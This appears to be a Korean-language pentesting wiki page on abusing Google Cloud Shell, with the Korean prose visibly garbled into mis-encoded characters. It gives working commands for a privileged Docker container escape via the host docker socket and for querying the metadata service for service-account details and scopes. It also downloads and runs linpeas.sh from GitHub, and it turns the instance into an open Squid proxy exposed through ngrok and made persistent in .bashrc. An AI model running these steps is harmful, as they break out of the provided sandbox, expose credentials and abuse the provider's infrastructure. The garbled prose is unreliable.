Cloud Shell
Cloud Shell์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
Container Escape
Google Cloud Shell์ ์ปจํ
์ด๋ ๋ด์์ ์คํ๋๋ฏ๋ก, ๋ค์์ ์ํํ์ฌ ํธ์คํธ๋ก ์ฝ๊ฒ ํ์ถํ ์ ์์ต๋๋ค:
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
์ด๊ฒ์ ๊ตฌ๊ธ์ ์ํด ์ทจ์ฝ์ ์ผ๋ก ๊ฐ์ฃผ๋์ง ์์ง๋ง, ํด๋น ํ๊ฒฝ์์ ๋ฐ์ํ๋ ์ผ์ ๋ํ ๋ ๋์ ์๊ฐ์ ์ ๊ณตํฉ๋๋ค.
๊ฒ๋ค๊ฐ, ํธ์คํธ์์ ์๋น์ค ๊ณ์ ํ ํฐ์ ์ฐพ์ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
๋ค์ ๋ฒ์์ ํจ๊ป:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
LinPEAS๋ก ๋ฉํ๋ฐ์ดํฐ ์ด๊ฑฐํ๊ธฐ:
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
https://github.com/carlospolop/bf_my_gcp_permissions๋ฅผ ์ฌ์ฉํ ํ ๊ถํ์ด ๋ฐ๊ฒฌ๋์ง ์์์ต๋๋ค...
ํ๋ก์๋ก ์ฌ์ฉํ๊ธฐ
๊ตฌ๊ธ ํด๋ผ์ฐ๋ ์
ธ ์ธ์คํด์ค๋ฅผ ํ๋ก์๋ก ์ฌ์ฉํ๋ ค๋ฉด ๋ค์ ๋ช
๋ น์ด๋ฅผ ์คํํด์ผ ํฉ๋๋ค(๋๋ .bashrc ํ์ผ์ ์ฝ์
ํ์ธ์):
sudo apt install -y squid
Just for let you know Squid is a http proxy server. Create a squid.conf file with the following settings:
๋ค์ ์ค์ ์ผ๋ก **squid.conf** ํ์ผ์ ๋ง๋์ธ์:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all
squid.conf ํ์ผ์ /etc/squid๋ก ๋ณต์ฌํฉ๋๋ค.
sudo cp squid.conf /etc/squid
๋ง์ง๋ง์ผ๋ก squid ์๋น์ค๋ฅผ ์คํํฉ๋๋ค:
sudo service squid start
ngrok๋ฅผ ์ฌ์ฉํ์ฌ ํ๋ก์๋ฅผ ์ธ๋ถ์์ ์ฌ์ฉํ ์ ์๋๋ก ํ์ญ์์ค:
tcp:// URL๋ฅผ ๋ณต์ฌํ ํ ์คํํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ์์ ํ๋ก์๋ฅผ ์คํํ๋ ค๋ฉด tcp:// ๋ถ๋ถ๊ณผ ํฌํธ๋ฅผ ์ ๊ฑฐํ๊ณ ํฌํธ๋ฅผ ๋ธ๋ผ์ฐ์ ํ๋ก์ ์ค์ ์ ํฌํธ ํ๋์ ์
๋ ฅํ๋ ๊ฒ์ด ์ข์ต๋๋ค (squid๋ http ํ๋ก์ ์๋ฒ์
๋๋ค).
์์ ์ ๋ ๋์ ์ฌ์ฉ์ ์ํด .bashrc ํ์ผ์๋ ๋ค์ ์ค์ด ์์ด์ผ ํฉ๋๋ค:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. ์ด ํ์ด์ง์์ Cloud Shell์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฐ Windows์ ๊ฐ์ ์ํํธ์จ์ด๋ฅผ ์คํํ๋ ๋ค๋ฅธ ๊ธฐ๋ฐํ ์์ด๋์ด๋ฅผ ํ์ธํ์ธ์.